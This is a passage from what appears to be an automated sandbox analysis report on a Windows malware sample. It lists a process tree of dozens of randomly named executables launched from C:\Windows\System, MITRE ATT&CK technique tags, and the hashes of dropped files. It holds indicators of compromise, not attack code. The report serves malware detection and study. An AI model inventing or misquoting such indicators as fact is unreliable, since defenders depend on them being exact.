  2⤵
  PID:3340
- C:\Windows\System\UbSPntg.exe
  C:\Windows\System\UbSPntg.exe
  2⤵
  PID:3764
- C:\Windows\System\ksuwurf.exe
  C:\Windows\System\ksuwurf.exe
  2⤵
  PID:3980
- C:\Windows\System\fWoiMfl.exe
  C:\Windows\System\fWoiMfl.exe
  2⤵
  PID:14632
- C:\Windows\System\cpfYHge.exe
  C:\Windows\System\cpfYHge.exe
  2⤵
  PID:14636
- C:\Windows\System\ycMBoJM.exe
  C:\Windows\System\ycMBoJM.exe
  2⤵
  PID:14652
- C:\Windows\System\MomdRPz.exe
  C:\Windows\System\MomdRPz.exe
  2⤵
  PID:14732
- C:\Windows\System\sGDwOop.exe
  C:\Windows\System\sGDwOop.exe
  2⤵
  PID:14680
- C:\Windows\System\wfFMzzJ.exe
  C:\Windows\System\wfFMzzJ.exe
  2⤵
  PID:13900
- C:\Windows\System\mSWReHH.exe
  C:\Windows\System\mSWReHH.exe
  2⤵
  PID:14712
- C:\Windows\System\NYXBnNR.exe
  C:\Windows\System\NYXBnNR.exe
  2⤵
  PID:14820
- C:\Windows\System\KMzEbUb.exe
  C:\Windows\System\KMzEbUb.exe
  2⤵
  PID:14728
- C:\Windows\System\NRliaTb.exe
  C:\Windows\System\NRliaTb.exe
  2⤵
  PID:13960
- C:\Windows\System\YmLsHrY.exe
  C:\Windows\System\YmLsHrY.exe
  2⤵
  PID:14808
- C:\Windows\System\cjbWSuJ.exe
  C:\Windows\System\cjbWSuJ.exe
  2⤵
  PID:2452
- C:\Windows\System\HOTfCYb.exe
  C:\Windows\System\HOTfCYb.exe
  2⤵
  PID:14904
- C:\Windows\System\fmQbnES.exe
  C:\Windows\System\fmQbnES.exe
  2⤵
  PID:14900
- C:\Windows\System\EKCtcoD.exe
  C:\Windows\System\EKCtcoD.exe
  2⤵
  PID:14916
- C:\Windows\System\jHsPgYm.exe
  C:\Windows\System\jHsPgYm.exe
  2⤵
  PID:5804
- C:\Windows\System\YXTPuVt.exe
  C:\Windows\System\YXTPuVt.exe
  2⤵
  PID:976
- C:\Windows\System\UKBNxab.exe
  C:\Windows\System\UKBNxab.exe
  2⤵
  PID:14964
- C:\Windows\System\lrKVqOu.exe
  C:\Windows\System\lrKVqOu.exe
  2⤵
  PID:15044
- C:\Windows\System\gnMYwem.exe
  C:\Windows\System\gnMYwem.exe
  2⤵
  PID:2448
- C:\Windows\System\yamvnrE.exe
  C:\Windows\System\yamvnrE.exe
  2⤵
  PID:7024
- C:\Windows\System\ldTyXwv.exe
  C:\Windows\System\ldTyXwv.exe
  2⤵
  PID:15032
- C:\Windows\System\QKaYBGK.exe
  C:\Windows\System\QKaYBGK.exe
  2⤵
  PID:4500
- C:\Windows\System\giwFClw.exe
  C:\Windows\System\giwFClw.exe
  2⤵
  PID:5576
- C:\Windows\System\xlDIzFH.exe
  C:\Windows\System\xlDIzFH.exe
  2⤵
  PID:15128
- C:\Windows\System\JEDCMdE.exe
  C:\Windows\System\JEDCMdE.exe
  2⤵
  PID:4992
- C:\Windows\System\WwdPgQn.exe
  C:\Windows\System\WwdPgQn.exe
  2⤵
  PID:14352
- C:\Windows\System\GWNsIwN.exe
  C:\Windows\System\GWNsIwN.exe
  2⤵
  PID:14188
- C:\Windows\System\eyBKoHG.exe
  C:\Windows\System\eyBKoHG.exe
  2⤵
  PID:3456
- C:\Windows\System\hkBQRdB.exe
  C:\Windows\System\hkBQRdB.exe
  2⤵
  PID:4676
- C:\Windows\System\iCmPOKg.exe
  C:\Windows\System\iCmPOKg.exe
  2⤵
  PID:5828
- C:\Windows\System\duTfhuf.exe
  C:\Windows\System\duTfhuf.exe
  2⤵
  PID:6912
- C:\Windows\System\pBsbQAn.exe
  C:\Windows\System\pBsbQAn.exe
  2⤵
  PID:4832
- C:\Windows\System\sEKMNIq.exe
  C:\Windows\System\sEKMNIq.exe
  2⤵
  PID:15288
- C:\Windows\System\LWSKkAN.exe
  C:\Windows\System\LWSKkAN.exe
  2⤵
  PID:3904
- C:\Windows\System\fGefezl.exe
  C:\Windows\System\fGefezl.exe
  2⤵
  PID:1052
- C:\Windows\System\IdlpocA.exe
  C:\Windows\System\IdlpocA.exe
  2⤵
  PID:4268
- C:\Windows\System\OBMSnVO.exe
  C:\Windows\System\OBMSnVO.exe
  2⤵
  PID:544
- C:\Windows\System\ygBJMIA.exe
  C:\Windows\System\ygBJMIA.exe
  2⤵
  PID:2356
- C:\Windows\System\rtEvTWx.exe
  C:\Windows\System\rtEvTWx.exe
  2⤵
  PID:4628
- C:\Windows\System\KaAdPKF.exe
  C:\Windows\System\KaAdPKF.exe
  2⤵
  PID:7308
- C:\Windows\System\fzLhXCN.exe
  C:\Windows\System\fzLhXCN.exe
  2⤵
  PID:14384
- C:\Windows\System\CiqiPjq.exe
  C:\Windows\System\CiqiPjq.exe
  2⤵
  PID:3300
- C:\Windows\System\bGIdQhi.exe
  C:\Windows\System\bGIdQhi.exe
  2⤵
  PID:13644
- C:\Windows\System\RqOXgln.exe
  C:\Windows\System\RqOXgln.exe
  2⤵
  PID:7424
- C:\Windows\System\dvFMyqN.exe
  C:\Windows\System\dvFMyqN.exe
  2⤵
  PID:7428
- C:\Windows\System\LxJjmml.exe
  C:\Windows\System\LxJjmml.exe
  2⤵
  PID:7444
- C:\Windows\System\SIyFDXH.exe
  C:\Windows\System\SIyFDXH.exe
  2⤵
  PID:696
- C:\Windows\System\xVJKPVx.exe
  C:\Windows\System\xVJKPVx.exe
  2⤵
  PID:3660
- C:\Windows\System\PToBMaY.exe
  C:\Windows\System\PToBMaY.exe
  2⤵
  PID:6316
- C:\Windows\System\vMPtYGK.exe
  C:\Windows\System\vMPtYGK.exe
  2⤵
  PID:6492
- C:\Windows\System\iBPlycY.exe
  C:\Windows\System\iBPlycY.exe
  2⤵
  PID:4620
- C:\Windows\System\MACtWPa.exe
  C:\Windows\System\MACtWPa.exe
  2⤵
  PID:728
- C:\Windows\System\HhZmVBC.exe
  C:\Windows\System\HhZmVBC.exe
  2⤵
  PID:2172
- C:\Windows\System\AEKBxpg.exe
  C:\Windows\System\AEKBxpg.exe
  2⤵
  PID:7656
- C:\Windows\System\WScSZev.exe
  C:\Windows\System\WScSZev.exe
  2⤵
  PID:2196
- C:\Windows\System\BlPevxx.exe
  C:\Windows\System\BlPevxx.exe
  2⤵
  PID:7680
- C:\Windows\System\HEWhsgc.exe
  C:\Windows\System\HEWhsgc.exe
  2⤵
  PID:2716
- C:\Windows\System\RuczuLM.exe
  C:\Windows\System\RuczuLM.exe
  2⤵
  PID:7220
- C:\Windows\System\sbyQLWr.exe
  C:\Windows\System\sbyQLWr.exe
  2⤵
  PID:2700
- C:\Windows\System\yTXZVWD.exe
  C:\Windows\System\yTXZVWD.exe
  2⤵
  PID:6544
- C:\Windows\System\WkXgUAh.exe
  C:\Windows\System\WkXgUAh.exe
  2⤵
  PID:14572
- C:\Windows\System\JtTvhee.exe
  C:\Windows\System\JtTvhee.exe
  2⤵
  PID:7968
- C:\Windows\System\mjuExZu.exe
  C:\Windows\System\mjuExZu.exe
  2⤵
  PID:14668
- C:\Windows\System\EosWmGA.exe
  C:\Windows\System\EosWmGA.exe
  2⤵
  PID:1032
- C:\Windows\System\ILTshSi.exe
  C:\Windows\System\ILTshSi.exe
  2⤵
  PID:372
- C:\Windows\System\izXCyYx.exe
  C:\Windows\System\izXCyYx.exe
  2⤵
  PID:14696
- C:\Windows\System\pNdLqYn.exe
  C:\Windows\System\pNdLqYn.exe
  2⤵
  PID:14760
- C:\Windows\System\XCuPuAA.exe
  C:\Windows\System\XCuPuAA.exe
  2⤵
  PID:7224
- C:\Windows\System\OTaPBke.exe
  C:\Windows\System\OTaPBke.exe
  2⤵
  PID:1516
- C:\Windows\System\DmONbRH.exe
  C:\Windows\System\DmONbRH.exe
  2⤵
  PID:14684
- C:\Windows\System\jJkpFDY.exe
  C:\Windows\System\jJkpFDY.exe
  2⤵
  PID:4228
- C:\Windows\System\abmHhsN.exe
  C:\Windows\System\abmHhsN.exe
  2⤵
  PID:5204
- C:\Windows\System\UwyvhjR.exe
  C:\Windows\System\UwyvhjR.exe
  2⤵
  PID:3096
- C:\Windows\System\yblFpFQ.exe
  C:\Windows\System\yblFpFQ.exe
  2⤵
  PID:2724
- C:\Windows\System\lPyXRAZ.exe
  C:\Windows\System\lPyXRAZ.exe
  2⤵
  PID:7704
- C:\Windows\System\lDoTcRB.exe
  C:\Windows\System\lDoTcRB.exe
  2⤵
  PID:14920
- C:\Windows\System\cdQPdyi.exe
  C:\Windows\System\cdQPdyi.exe
  2⤵
  PID:14948
- C:\Windows\System\GMeSINP.exe
  C:\Windows\System\GMeSINP.exe
  2⤵
  PID:6260
- C:\Windows\System\mRXKJcg.exe
  C:\Windows\System\mRXKJcg.exe
  2⤵
  PID:7868
- C:\Windows\System\WvRShYi.exe
  C:\Windows\System\WvRShYi.exe
  2⤵
  PID:5344
- C:\Windows\System\YbnhbGJ.exe
  C:\Windows\System\YbnhbGJ.exe
  2⤵
  PID:4352
- C:\Windows\System\snJHHYb.exe
  C:\Windows\System\snJHHYb.exe
  2⤵
  PID:5416
- C:\Windows\System\cvvBBgn.exe
  C:\Windows\System\cvvBBgn.exe
  2⤵
  PID:5388
- C:\Windows\System\GucXpOa.exe
  C:\Windows\System\GucXpOa.exe
  2⤵
  PID:14984
- C:\Windows\System\RejLeeP.exe
  C:\Windows\System\RejLeeP.exe
  2⤵
  PID:15000
- C:\Windows\System\ktmNlcD.exe
  C:\Windows\System\ktmNlcD.exe
  2⤵
  PID:15304
- C:\Windows\System\JotZrmk.exe
  C:\Windows\System\JotZrmk.exe
  2⤵
  PID:2748
- C:\Windows\System\AJgcmQj.exe
  C:\Windows\System\AJgcmQj.exe
  2⤵
  PID:5540
- C:\Windows\System\DlUBGaL.exe
  C:\Windows\System\DlUBGaL.exe
  2⤵
  PID:15124
- C:\Windows\System\gmBVaGI.exe
  C:\Windows\System\gmBVaGI.exe
  2⤵
  PID:2708
- C:\Windows\System\zBlJMsL.exe
  C:\Windows\System\zBlJMsL.exe
  2⤵
  PID:15092
- C:\Windows\System\NKcuPah.exe
  C:\Windows\System\NKcuPah.exe
  2⤵
  PID:8212
- C:\Windows\System\RNKBDaW.exe
  C:\Windows\System\RNKBDaW.exe
  2⤵
  PID:7136
- C:\Windows\System\PjmudUS.exe
  C:\Windows\System\PjmudUS.exe
  2⤵
  PID:5056
- C:\Windows\System\UNHvzRe.exe
  C:\Windows\System\UNHvzRe.exe
  2⤵
  PID:8296
- C:\Windows\System\JVytaKM.exe
  C:\Windows\System\JVytaKM.exe
  2⤵
  PID:6648
- C:\Windows\System\aLXhuHB.exe
  C:\Windows\System\aLXhuHB.exe
  2⤵
  PID:2796
- C:\Windows\System\rzwmaac.exe
  C:\Windows\System\rzwmaac.exe
  2⤵
  PID:14372
- C:\Windows\System\hycgUty.exe
  C:\Windows\System\hycgUty.exe
  2⤵
  PID:3156
- C:\Windows\System\DwDgmMX.exe
  C:\Windows\System\DwDgmMX.exe
  2⤵
  PID:5736
- C:\Windows\System\oXATppq.exe
  C:\Windows\System\oXATppq.exe
  2⤵
  PID:8472
- C:\Windows\System\KNChYgm.exe
  C:\Windows\System\KNChYgm.exe
  2⤵
  PID:1752
- C:\Windows\System\kEnSpTz.exe
  C:\Windows\System\kEnSpTz.exe
  2⤵
  PID:5764
- C:\Windows\System\ChHwhLI.exe
  C:\Windows\System\ChHwhLI.exe
  2⤵
  PID:2776
- C:\Windows\System\OlTtbGS.exe
  C:\Windows\System\OlTtbGS.exe
  2⤵
  PID:5848
- C:\Windows\System\JcMoDSP.exe
  C:\Windows\System\JcMoDSP.exe
  2⤵
  PID:8600
- C:\Windows\System\WzzXmpA.exe
  C:\Windows\System\WzzXmpA.exe
  2⤵
  PID:2872
- C:\Windows\System\WwAoqpG.exe
  C:\Windows\System\WwAoqpG.exe
  2⤵
  PID:8608
- C:\Windows\System\PuxhKxa.exe
  C:\Windows\System\PuxhKxa.exe
  2⤵
  PID:5876
- C:\Windows\System\ueXfcjy.exe
  C:\Windows\System\ueXfcjy.exe
  2⤵
  PID:5888
- C:\Windows\System\uOAoiwe.exe
  C:\Windows\System\uOAoiwe.exe
  2⤵
  PID:8708
- C:\Windows\System\KzVruTt.exe
  C:\Windows\System\KzVruTt.exe
  2⤵
  PID:8752
- C:\Windows\System\OeaHKQs.exe
  C:\Windows\System\OeaHKQs.exe
  2⤵
  PID:7216
- C:\Windows\System\talNFSa.exe
  C:\Windows\System\talNFSa.exe
  2⤵
  PID:5948
- C:\Windows\System\qXpVAzp.exe
  C:\Windows\System\qXpVAzp.exe
  2⤵
  PID:5992
- C:\Windows\System\gcqpVqM.exe
  C:\Windows\System\gcqpVqM.exe
  2⤵
  PID:13580
- C:\Windows\System\etuxgyh.exe
  C:\Windows\System\etuxgyh.exe
  2⤵
  PID:7476
- C:\Windows\System\Offckcy.exe
  C:\Windows\System\Offckcy.exe
  2⤵
  PID:7404
- C:\Windows\System\eyLdClO.exe
  C:\Windows\System\eyLdClO.exe
  2⤵
  PID:7384
- C:\Windows\System\VcvbQOp.exe
  C:\Windows\System\VcvbQOp.exe
  2⤵
  PID:7416
- C:\Windows\System\ZwKUbBi.exe
  C:\Windows\System\ZwKUbBi.exe
  2⤵
  PID:8956
- C:\Windows\System\QITmTui.exe
  C:\Windows\System\QITmTui.exe
  2⤵
  PID:1260
- C:\Windows\System\IYTqiQq.exe
  C:\Windows\System\IYTqiQq.exe
  2⤵
  PID:2252
- C:\Windows\System\XYeiYQY.exe
  C:\Windows\System\XYeiYQY.exe
  2⤵
  PID:3068
- C:\Windows\System\rxMqorL.exe
  C:\Windows\System\rxMqorL.exe
  2⤵
  PID:6460
- C:\Windows\System\KAeiCwT.exe
  C:\Windows\System\KAeiCwT.exe
  2⤵
  PID:1352
- C:\Windows\System\KitYFuW.exe
  C:\Windows\System\KitYFuW.exe
  2⤵
  PID:4424
- C:\Windows\System\AaMIpzY.exe
  C:\Windows\System\AaMIpzY.exe
  2⤵
  PID:9196
- C:\Windows\System\WTsbWgi.exe
  C:\Windows\System\WTsbWgi.exe
  2⤵
  PID:8048
- C:\Windows\System\JbTRMND.exe
  C:\Windows\System\JbTRMND.exe
  2⤵
  PID:4360
- C:\Windows\System\KQaLdCk.exe
  C:\Windows\System\KQaLdCk.exe
  2⤵
  PID:4064
- C:\Windows\System\yMLidYu.exe
  C:\Windows\System\yMLidYu.exe
  2⤵
  PID:232
- C:\Windows\System\DfomIcN.exe
  C:\Windows\System\DfomIcN.exe
  2⤵
  PID:6320
- C:\Windows\System\VRwbmLA.exe
  C:\Windows\System\VRwbmLA.exe
  2⤵
  PID:8548
- C:\Windows\System\DnFSnrS.exe
  C:\Windows\System\DnFSnrS.exe
  2⤵
  PID:4588
- C:\Windows\System\IllfRyt.exe
  C:\Windows\System\IllfRyt.exe
  2⤵
  PID:5268
- C:\Windows\System\oVVfGIO.exe
  C:\Windows\System\oVVfGIO.exe
  2⤵
  PID:3028
- C:\Windows\System\jcbcAhK.exe
  C:\Windows\System\jcbcAhK.exe
  2⤵
  PID:8664
- C:\Windows\System\vJVXXiI.exe
  C:\Windows\System\vJVXXiI.exe
  2⤵
  PID:1568
- C:\Windows\System\RxfOdfe.exe
  C:\Windows\System\RxfOdfe.exe
  2⤵
  PID:14468
- C:\Windows\System\aVAQMOs.exe
  C:\Windows\System\aVAQMOs.exe
  2⤵
  PID:5304
- C:\Windows\System\MxwSSxo.exe
  C:\Windows\System\MxwSSxo.exe
  2⤵
  PID:4800
- C:\Windows\System\IfyunST.exe
  C:\Windows\System\IfyunST.exe
  2⤵
  PID:3444
- C:\Windows\System\OsGFMCF.exe
  C:\Windows\System\OsGFMCF.exe
  2⤵
  PID:14868
- C:\Windows\System\azSrkun.exe
  C:\Windows\System\azSrkun.exe
  2⤵
  PID:5316
- C:\Windows\System\mKdyIgK.exe
  C:\Windows\System\mKdyIgK.exe
  2⤵
  PID:8468
- C:\Windows\System\wAxoobw.exe
  C:\Windows\System\wAxoobw.exe
  2⤵
  PID:3508
- C:\Windows\System\zdnqWxL.exe
  C:\Windows\System\zdnqWxL.exe
  2⤵
  PID:5444
- C:\Windows\System\aFeRuGM.exe
  C:\Windows\System\aFeRuGM.exe
  2⤵
  PID:5684
- C:\Windows\System\QNsNDKD.exe
  C:\Windows\System\QNsNDKD.exe
  2⤵
  PID:8980
- C:\Windows\System\kNKSBAu.exe
  C:\Windows\System\kNKSBAu.exe
  2⤵
  PID:5716
- C:\Windows\System\JsDhGeo.exe
  C:\Windows\System\JsDhGeo.exe
  2⤵
  PID:8388
- C:\Windows\System\uxfkzwZ.exe
  C:\Windows\System\uxfkzwZ.exe
  2⤵
  PID:7192
- C:\Windows\System\ZNnVByL.exe
  C:\Windows\System\ZNnVByL.exe
  2⤵
  PID:15060
- C:\Windows\System\RrKpmww.exe
  C:\Windows\System\RrKpmww.exe
  2⤵
  PID:9164
- C:\Windows\System\YkRxYyY.exe
  C:\Windows\System\YkRxYyY.exe
  2⤵
  PID:15080
- C:\Windows\System\vVyzFyh.exe
  C:\Windows\System\vVyzFyh.exe
  2⤵
  PID:5896
- C:\Windows\System\ViwFMOv.exe
  C:\Windows\System\ViwFMOv.exe
  2⤵
  PID:1920
- C:\Windows\System\lhSoVXb.exe
  C:\Windows\System\lhSoVXb.exe
  2⤵
  PID:6856
- C:\Windows\System\YeAldKL.exe
  C:\Windows\System\YeAldKL.exe
  2⤵
  PID:8280
- C:\Windows\System\mchiiPD.exe
  C:\Windows\System\mchiiPD.exe
  2⤵
  PID:2864
- C:\Windows\System\lNFjEyi.exe
  C:\Windows\System\lNFjEyi.exe
  2⤵
  PID:7156
- C:\Windows\System\qMsMBzW.exe
  C:\Windows\System\qMsMBzW.exe
  2⤵
  PID:4692
- C:\Windows\System\jRrCOgh.exe
  C:\Windows\System\jRrCOgh.exe
  2⤵
  PID:8352
- C:\Windows\System\QmbdMkM.exe
  C:\Windows\System\QmbdMkM.exe
  2⤵
  PID:6084
- C:\Windows\System\KtpRbEA.exe
  C:\Windows\System\KtpRbEA.exe
  2⤵
  PID:2604
- C:\Windows\System\EQKpcqc.exe
  C:\Windows\System\EQKpcqc.exe
  2⤵
  PID:14408
- C:\Windows\System\ajFsaaY.exe
  C:\Windows\System\ajFsaaY.exe
  2⤵
  PID:4356
- C:\Windows\System\qBINRjD.exe
  C:\Windows\System\qBINRjD.exe
  2⤵
  PID:15240
- C:\Windows\System\UhKfATR.exe
  C:\Windows\System\UhKfATR.exe
  2⤵
  PID:15236
- C:\Windows\System\umQpjRN.exe
  C:\Windows\System\umQpjRN.exe
  2⤵
  PID:8532
- C:\Windows\System\UzcZGBZ.exe
  C:\Windows\System\UzcZGBZ.exe
  2⤵
  PID:9512
- C:\Windows\System\PNciXeM.exe
  C:\Windows\System\PNciXeM.exe
  2⤵
  PID:5044
- C:\Windows\System\JpEnnUq.exe
  C:\Windows\System\JpEnnUq.exe
  2⤵
  PID:4856
- C:\Windows\System\FxHNHja.exe
  C:\Windows\System\FxHNHja.exe
  2⤵
  PID:940
- C:\Windows\System\lxYhLES.exe
  C:\Windows\System\lxYhLES.exe
  2⤵
  PID:14476
- C:\Windows\System\NyirDdo.exe
  C:\Windows\System\NyirDdo.exe
  2⤵
  PID:8644
- C:\Windows\System\uoCzXhU.exe
  C:\Windows\System\uoCzXhU.exe
  2⤵
  PID:3668
- C:\Windows\System\LEBEYKG.exe
  C:\Windows\System\LEBEYKG.exe
  2⤵
  PID:14748
- C:\Windows\System\JtYMzip.exe
  C:\Windows\System\JtYMzip.exe
  2⤵
  PID:8748
- C:\Windows\System\bVnKwVt.exe
  C:\Windows\System\bVnKwVt.exe
  2⤵
  PID:6172
- C:\Windows\System\lpJdKpV.exe
  C:\Windows\System\lpJdKpV.exe
  2⤵
  PID:8784
- C:\Windows\System\ppCdAbn.exe
  C:\Windows\System\ppCdAbn.exe
  2⤵
  PID:2376
- C:\Windows\System\YYDACxn.exe
  C:\Windows\System\YYDACxn.exe
  2⤵
  PID:6252
- C:\Windows\System\snXSJqM.exe
  C:\Windows\System\snXSJqM.exe
  2⤵
  PID:15272
- C:\Windows\System\ivmPYDy.exe
  C:\Windows\System\ivmPYDy.exe
  2⤵
  PID:7420
- C:\Windows\System\oqBQIah.exe
  C:\Windows\System\oqBQIah.exe
  2⤵
  PID:6284
- C:\Windows\System\dTofUeN.exe
  C:\Windows\System\dTofUeN.exe
  2⤵
  PID:6328
- C:\Windows\System\OloVNbX.exe
  C:\Windows\System\OloVNbX.exe
  2⤵
  PID:2644
- C:\Windows\System\gqnISKs.exe
  C:\Windows\System\gqnISKs.exe
  2⤵
  PID:228
- C:\Windows\System\ZCpKJFf.exe
  C:\Windows\System\ZCpKJFf.exe
  2⤵
  PID:2880
- C:\Windows\System\iADygiK.exe
  C:\Windows\System\iADygiK.exe
  2⤵
  PID:836
- C:\Windows\System\LRAFNSG.exe
  C:\Windows\System\LRAFNSG.exe
  2⤵
  PID:13704
- C:\Windows\System\bXONbdb.exe
  C:\Windows\System\bXONbdb.exe
  2⤵
  PID:3116
- C:\Windows\System\RlpfzYE.exe
  C:\Windows\System\RlpfzYE.exe
  2⤵
  PID:5208
- C:\Windows\System\CQZDiAo.exe
  C:\Windows\System\CQZDiAo.exe
  2⤵
  PID:14788
- C:\Windows\System\vXlTTKy.exe
  C:\Windows\System\vXlTTKy.exe
  2⤵
  PID:924
- C:\Windows\System\kakcNxQ.exe
  C:\Windows\System\kakcNxQ.exe
  2⤵
  PID:2876
- C:\Windows\System\DgxMKKx.exe
  C:\Windows\System\DgxMKKx.exe
  2⤵
  PID:8116
- C:\Windows\System\wswTBjG.exe
  C:\Windows\System\wswTBjG.exe
  2⤵
  PID:4184

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4092,i,14221647728265121051,6840906015709541562,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:8
1⤵
PID:6176

C:\Windows\system32\WerFaultSecure.exe
"C:\Windows\system32\WerFaultSecure.exe" -protectedcrash -p 1500 -i 1500 -h 568 -j 588 -s 596 -d 13068
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:13640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1mkdv4ht.evx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AnpvVtl.exe

Filesize
1.5MB

MD5
cfb91002d3a7d99828392309a840bed3

SHA1
a8ca3b711e99413fb3aa42acf9731dd3a6a96215

SHA256
68f8f661e8b24c4059063127931b43d53445fa0917f23dc78878e8ee1a40d92a

SHA512
c2bcaa5c3616d5c02d1da335a313901be1d39a65b79e1a1276a4c016666b975e6a4d1b516949d4b5dbaeaa7a44409d50fe48a5a0126f76926b97f050fca46a09

Download Submit
C:\Windows\System\EpynQQk.exe

Filesize
1.5MB

MD5
51d820774167de07e4efa2fba97a3ee7

SHA1
497138d8446c200baca22fb781d491e4f542aa5a

SHA256
1918c35bbde5d87d7c80a40924ce56863325ca9f826b2e934f766c79534f4a20

SHA512
df8277227bb20770757e3789702a7e51599f5b43ee13d65295b2be8da1d79253f5d1150d98f3c60c46cb4d707e1bd0a5c83066f168b68b2f7e577676987719cc

Download Submit
C:\Windows\System\LIzxrwT.exe

Filesize
1.5MB

MD5
b562b802e574523d79a35920784b86d1

SHA1
09a845799a57cf8cfa0e482c60a0b2a5351d110c

SHA256
07a6a9c5783065ed426a9fa7ff1617193f37982437ded9b88e3d35bde369b8ae

SHA512
7c90e4333b1396fa40fd2c3b38145056eedb0e49f382a5f7c58365dc38cc3add19889c48abb952e5e23cc1757ccc9076b0a9707892adc11e76db4fff75bb3672

Download Submit
C:\Windows\System\LxIAXUt.exe

Filesize
1.5MB

MD5
d96bb2380c973e77e8bccf553f2d280c

SHA1
9c8c01f45dc019e705a72820e3d1849a21b84366

SHA256
0ec102ab074a5e8dff84a68b95095cb8a7e7dfcb7d8b140a76b42b2bac27d220

SHA512
797105d667f570eeb0212baa514c167edff3b0e7f5ac61c3a079e8f0ed2118b2e6b9561508936ea9a10b6c3c41954cb6e70e3d2102b00c542047c815f2b1a03e

Download Submit
C:\Windows\System\MtLrGFw.exe

Filesize
1.5MB

MD5
bc47d0edd236c3edde632d2d41a5ebc1

SHA1
bf2d0dfcdbf967f2cc16e733750db528fb834aa0

SHA256
93be2666d77e9478f95ee94e80e1090cd1ade1016f1b03cff24a7e03a45e7367

SHA512
7a3a5f1ec77fc68478dfe3901ece67606b95d164e5d4dbca016d55d870881f71f8b8591153f86755aa780dba0b8117da39331c1972217202126cea278e07f80c

Download Submit
C:\Windows\System\OBazZJe.exe

Filesize
1.5MB

MD5
1eaffc87df5687dc1e7670994b77bfb2

SHA1
b4c592e36da9049676069fe0ad27e23e69faeef2

SHA256
9b3f5d618dff782f3041e48c5ef8c292d0e063c52ae045cd1490e2b534bd4239

SHA512
caad22d33f606139ce291ece7984e53e91d67d32eb79f6e4f95478bdaf9b38584b190bed52df0520cbed4178318e11b42a4d2737951a70e9675e395600146b7b

Download Submit
C:\Windows\System\OEZBmfC.exe

Filesize
1.5MB

MD5
0dd07dfc32b8bfecef2b7a5389f9acd6

SHA1
38c2fc7941acdac1a1a90d9550556c80d9650a98

SHA256
729ba4fa8cdd9f50c31b07b14a390b787a04407862feafb76a197de826d95d2e

SHA512
60dbfa8282383de59359e6c6225cb6dc2015b3caf5b8a04d0309ced4932c4d7db3880071d18ae7baaeed8ca9f7cfeb80874783d9b6cc8d22d8436df42897c078

Download Submit
C:\Windows\System\ONwOVOB.exe

Filesize
1.5MB

MD5
c7b53d24ac8d8a75f70c62b28fd79d12

SHA1
bd70819d9ccb4ba622c662247105163542541ed1

SHA256
97f96042627652e5c48bec780af5b1eb8f62bc1d7af0ad75c5b8430089ca445b

SHA512
343a1ecde18ae7971e1887f380ba100f659c06ac435b968d93e7a0a87b511bf04da931a7b4b0d2804ab9987442b2216c5a2b17a9e80a68fb90ed3957c66d6f8b

Download Submit
C:\Windows\System\OQjFYYA.exe

Filesize
1.5MB

MD5
869032ba2ab7d8922bb0ba3bcc4ca991

SHA1
e65543a0270813a6cd0d9e8ddb036ed7a085a050

SHA256
191637ec71279626ee067682ed977c7b05120aab814c478587ef0f79380ed477

SHA512
cf404c37dcb3b7ebbb175b3f95d04cf4b92f65665ecd39048df67f154483c77ea49132477d5036fdada6fd05586302b5c6eb23af930c263e3face9fe2b232824

Download Submit
C:\Windows\System\PFAzhgg.exe

Filesize
1.5MB

MD5
1dece31e68902f377cbef8f91a43c3d5

SHA1
a5dfd191beecbd7a76054b559c7171aa8ffc4b01

SHA256
f68fb665edb51a4899fa57c720bdf6bd97174276bf99483e53e3d9d8544e28a2

SHA512
934fe3c8595b7a29dee340e67c104811e7c726ffd422822f70902557dc6d7836eb54850e26352cf5c7cd71d30c92a4c5e9fd254bce099182c0680c3a920f026f

Download Submit
C:\Windows\System\RguFCXe.exe

Filesize
1.5MB

MD5
72e04d747488e74e3477bbd08f9e0191

SHA1
177a535994797f7749838bb78fad7f1a9557860f

SHA256
8ec63c0150029596bd803461aacde3e7aa06ed2dea85ef80084a7f4e1f533d72

SHA512
ad2f04d2de7a399f8ac10494f4ad2c3c426f67a8ef619bf92c93851fe4c95422547c76af729a808871ac6cff79567a1dc5f2829e73f9b66d30c90f3785efd4b5

Download Submit
C:\Windows\System\SxpmHSj.exe

Filesize
1.5MB

MD5
de8fa4bb5fd59b318c320d94e38f6ef4

SHA1
0665899d200b83081c36572ed1b7b20c086f38cb

SHA256
9bb23c9f69e110008f451669ccf4aceab12c131a8d47b51e14448a443e2b948e

SHA512
d2f0bdfd981ca9273b92ba1e2e7a7af40117832499c38dd456784242a0308bbde9a77e64d11bbadd117f806b5794d8779e6e1186060aca552492568a701c680c

Download Submit
C:\Windows\System\TjIlQZu.exe

Filesize
1.5MB

MD5
72b6fb73eceb56998e9d0685180f5dd6

SHA1
038fe9abb009c3f5da622cbcc053e95019858a34

SHA256
a22e10ffad7ddf08ee686c9760196a1ba73e5caf08590dc64d272aa1f34d80fb

SHA512
c58a0775befb154c09101a02ccf3fd905834c24975cd16e4abb0e995bf7bdd46736512bfbd15e00a968c861db5d27516e7f99a0cf5d7ff609be6f6e6d9eec281

Download Submit
C:\Windows\System\XBnJlrp.exe

Filesize
1.5MB

MD5
37a89c8d0e54a3610c2b927c31bdef35

SHA1
612f91dc225612f354e63a002b69e4f44ddd167d

SHA256
1d92b7a1d230a2b30740671fad4d69bc66261307122566772ede1d96b93c35fb

SHA512
696083e9ba7f0f7aab4e40353e2af23dda2ae181f5f3cf4734808ba370288b806a276fd15f5a828f22a157a2d12ebe5c7a7321c09d45f94c2587fba59b2deb63

